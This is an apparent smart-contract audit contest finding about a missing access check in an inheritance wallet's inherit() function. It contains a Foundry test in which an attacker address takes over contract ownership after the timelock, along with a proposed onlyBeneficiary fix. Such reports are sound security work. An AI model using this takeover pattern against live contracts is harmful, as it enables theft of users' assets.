Inheritable Smart Contract Wallet
First Flight #35
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

The `InheritanceManager::inherit` function Lack of Access Control, risk of Contract Takeover by Unauthorized Actors

ssalaudeen10

Summary

The InheritanceManager::inherit function lacks proper access control. If the beneficiaries array contains only one address, a non-beneficiary can exploit this vulnerability to inherit the contract and assume ownership.

Vulnerability Details

The following test case demonstrates how an attacker can exploit this vulnerability to become the owner

function test_none_beneficiary_can_inherit()public{
// Create An attacker Address
address attacker = makeAddr("attacker");
​
vm.startPrank(owner);
// Add User1 has a beneficiary
im.addBeneficiery(user1);
vm.stopPrank();
// Increase blocktimestamp by 91 days
vm.warp(block.timestamp + im.TIMELOCK() + 1 days);
vm.prank(attacker);
// attacker call the inherit fuction
im.inherit();
// assert that attacker is new owner
address newOwner = im.getOwner();
vm.assertEq(attacker, newOwner);
​
}

Impact

This flaw enables any unauthorized entity to take over the contract, posing a significant security risk and potential loss of assets.

Tools Used

Foundry test

Recommendations

Introduce an onlyBeneficiary modifier to restrict access to the InheritanceManager::inherit function, ensuring only valid beneficiaries can call it

​
contract InheritanceManager is Trustee{
+ error OnlyBeneficiary();
​
+ mapping(address => bool) addressAlreadyBeneficiary;
​
+ modifier onlyBeneficiary(){
+ if(!addressAlreadyBeneficiary[msg.sender]){
+ revert OnlyBeneficiary();
+ }
+ _;
+ }
​
function addBeneficiery(address _beneficiary) external onlyOwner {
+ if(addressAlreadyBeneficiary[_beneficiary]){
+ revert DuplicateBeneficiaryNotAllowed();
+ }
+ addressAlreadyBeneficiary[_beneficiary] = true;
beneficiaries.push(_beneficiary);
_setDeadline();
}
​
+ function inherit() external onlyBeneficiary{
// other codes
}
​
​
}
​
Updates

Lead Judging Commences

0xtimefliez Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!